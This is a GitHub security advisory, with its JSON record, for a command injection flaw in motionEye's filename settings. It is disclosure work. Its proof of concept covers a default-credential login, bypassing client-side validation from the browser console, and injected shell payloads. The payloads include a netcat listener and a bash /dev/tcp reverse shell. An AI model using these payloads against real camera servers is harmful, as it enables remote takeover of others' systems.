ghsa-j945-qm58-4gjx
Vulnerability from github
Published
2025-11-03 21:48
Modified
2025-11-03 21:48
Severity ?
7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Summary
motionEye vulnerable to RCE via unsanitized motion config parameter
Details

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.

Environment Setup

  1. Start MotionEye container
    Launch the vulnerable container:
    bash docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

  2. Verify version
    Confirm the running version inside logs:
    bash docker logs motioneye | grep "motionEye server"
    Result:
    motionEye server 0.43.1b4 version_ver

  3. Container shell access (for verification later)
    Keep a shell handy to verify results:
    bash docker exec -it motioneye /bin/bash ls -la /tmp

Exploitation Steps

  1. Access Web Interface
  2. Open browser at: http://127.0.0.1:9999
  3. Login with default credentials: admin / (blank password)

  4. Add a sample RTSP network camera (required to enable camera-specific settings).

    add_camera

  5. Attempt malicious filename input

  6. Go to: Camera Settings → Still Images
  7. In the Image File Name field, try:
    bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S

  8. Observation: This is blocked by client-side validation in the browser.

    er1

    er2

  9. Client-Side Validation Discovery

  10. The check is implemented in JavaScript:
    • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4

  11. Example validation function:
    javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; }

  12. Bypass Validation

  13. Open browser console (F12 → Console tab)
  14. Override the function to always return true:
    javascript configUiValid = function() { return true; };

  15. This bypasses client-side validation and allows arbitrary values. bypass

  16. Inject Payload

  17. Set Capture Mode: Interval Snapshots
  18. Set Interval: 10
  19. Set Image File Name to the payload:
    bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S

  20. Click Apply to save settings. inject_payload

  21. Verify Execution

  22. Inside the container shell:
    bash ls -la /tmp
  23. Result: File /tmp/test is created with root permissions, confirming code execution. verify

Weaponizing RCE (Reverse Shell Example)

  1. Start attacker listener
    bash nc -lvnp 4444

  2. Inject reverse shell payload
    Enter the following into the Image File Name field:
    bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

  3. Result

    • A reverse shell connects back to the attacker’s machine.
    • Attacker gains full control of the MotionEye container environment. final

Root Cause

  • MotionEye writes unsanitized values (e.g., image_file_name) from the Web UI directly into camera-<id>.conf.
  • On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution

Who is impacted:

  1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
  2. Containerized and bare-metal installs alike.

Potential consequences:

  1. Full compromise of MotionEye container.
  2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.
Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.43.1b5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-60787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-03T21:48:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nA command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).\n\n## Details\n### Root Cause:\nMotionEye accepts arbitrary strings from fields such as **image_file_name**  and **movie_filename** in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.\n\n### Vulnerability flow:\nDashboard (Web UI)\n   \u2193\nConfigHandler.set_config()\n   \u2193\ncamera-*.conf written\n   \u2193\nmotionctl.restart()\n   \u2193\nMotion parses config \u2192 executes payload\n\n\n### Affected code:\nThe issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.\n\n\n### Proof of Concept (PoC)\n\nThe following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.  \nTested using the official Docker image.\n\n---\n\n#### Environment Setup\n1. **Start MotionEye container**  \n   Launch the vulnerable container:  \n   ```bash\n   docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge\n   ```\n\n2. **Verify version**  \n   Confirm the running version inside logs:  \n   ```bash\n   docker logs motioneye | grep \"motionEye server\"\n   ```  \n   **Result:**  \n   ```\n   motionEye server 0.43.1b4\n   ```\n    \u003cimg width=\"741\" height=\"168\" alt=\"version_ver\" src=\"https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320\" /\u003e\n\n3. **Container shell access (for verification later)**  \n   Keep a shell handy to verify results:  \n   ```bash\n   docker exec -it motioneye /bin/bash\n   ls -la /tmp\n   ```\n\n---\n\n#### Exploitation Steps\n4. **Access Web Interface**  \n   - Open browser at: `http://127.0.0.1:9999`  \n   - Login with default credentials: **admin** / *(blank password)*  \n   - Add a sample RTSP network camera (required to enable camera-specific settings).\n    \n    \u003cimg width=\"1623\" height=\"869\" alt=\"add_camera\" src=\"https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc\" /\u003e\n\n5. **Attempt malicious filename input**  \n   - Go to: **Camera Settings \u2192 Still Images**  \n   - In the **Image File Name** field, try:  \n     ```bash\n     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n     ```  \n   - **Observation:** This is blocked by client-side validation in the browser.\n    \n    \u003cimg width=\"739\" height=\"104\" alt=\"er1\" src=\"https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b\" /\u003e\n    \n    \u003cimg width=\"611\" height=\"90\" alt=\"er2\" src=\"https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01\" /\u003e\n\n6. **Client-Side Validation Discovery**  \n   - The check is implemented in JavaScript:  \n     - `/static/js/main.js?v=0.43.1b4` \u2192 references `/static/js/ui.js?v=0.43.1b4`  \n   - Example validation function:  \n     ```javascript\n     function configUiValid() {\n       $(\u0027div.settings\u0027).find(\u0027.validator\u0027).each(function () { this.validate(); });\n       var valid = true;\n       $(\u0027div.settings input, select\u0027).each(function () {\n         if (this.invalid) { valid = false; return false; }\n       });\n       return valid;\n     }\n     ```\n\n7. **Bypass Validation**  \n   - Open browser console (**F12 \u2192 Console tab**)  \n   - Override the function to always return true:  \n     ```javascript\n     configUiValid = function() { return true; };\n     ```  \n   - This bypasses client-side validation and allows arbitrary values.\n    \u003cimg width=\"819\" height=\"539\" alt=\"bypass\" src=\"https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2\" /\u003e\n\n8. **Inject Payload**  \n   - Set **Capture Mode**: `Interval Snapshots`  \n   - Set **Interval**: `10`  \n   - Set **Image File Name** to the payload:  \n     ```bash\n     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n     ```  \n   - Click **Apply** to save settings.\n    \u003cimg width=\"565\" height=\"344\" alt=\"inject_payload\" src=\"https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e\" /\u003e\n\n9. **Verify Execution**  \n   - Inside the container shell:  \n     ```bash\n     ls -la /tmp\n     ```  \n   - **Result:** File `/tmp/test` is created with root permissions, confirming code execution.\n    \u003cimg width=\"554\" height=\"164\" alt=\"verify\" src=\"https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02\" /\u003e\n\n---\n\n#### Weaponizing RCE (Reverse Shell Example)\n10. **Start attacker listener**  \n    ```bash\n    nc -lvnp 4444\n    ```\n\n11. **Inject reverse shell payload**  \n    Enter the following into the **Image File Name** field:  \n    ```bash\n    $(python3 -c \"import os;os.system(\u0027bash -c \\\"bash -i \u003e\u0026 /dev/tcp/192.168.0.108/4444 0\u003e\u00261\\\"\u0027)\").%Y-%m-%d-%H-%M-%S\n    ```\n\n12. **Result**  \n    - A reverse shell connects back to the attacker\u2019s machine.  \n    - Attacker gains full control of the MotionEye container environment.\n    \u003cimg width=\"1140\" height=\"366\" alt=\"final\" src=\"https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9\" /\u003e\n\n---\n\n#### Root Cause\n- MotionEye writes unsanitized values (e.g., `image_file_name`) from the Web UI directly into `camera-\u003cid\u003e.conf`.  \n- On restart, the `motion` binary parses these fields as shell-expandable strings, leading to arbitrary command execution.  \n\n## Impact\nType: OS Command Injection \u2192 Remote Code Execution\n\nWho is impacted:\n\n1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).\n2. Containerized and bare-metal installs alike.\n\nPotential consequences:\n\n1. Full compromise of MotionEye container.\n2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.",
  "id": "GHSA-j945-qm58-4gjx",
  "modified": "2025-11-03T21:48:19Z",
  "published": "2025-11-03T21:48:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60787"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/motioneye-project/motioneye"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "motionEye vulnerable to RCE via unsanitized motion config parameter"
}


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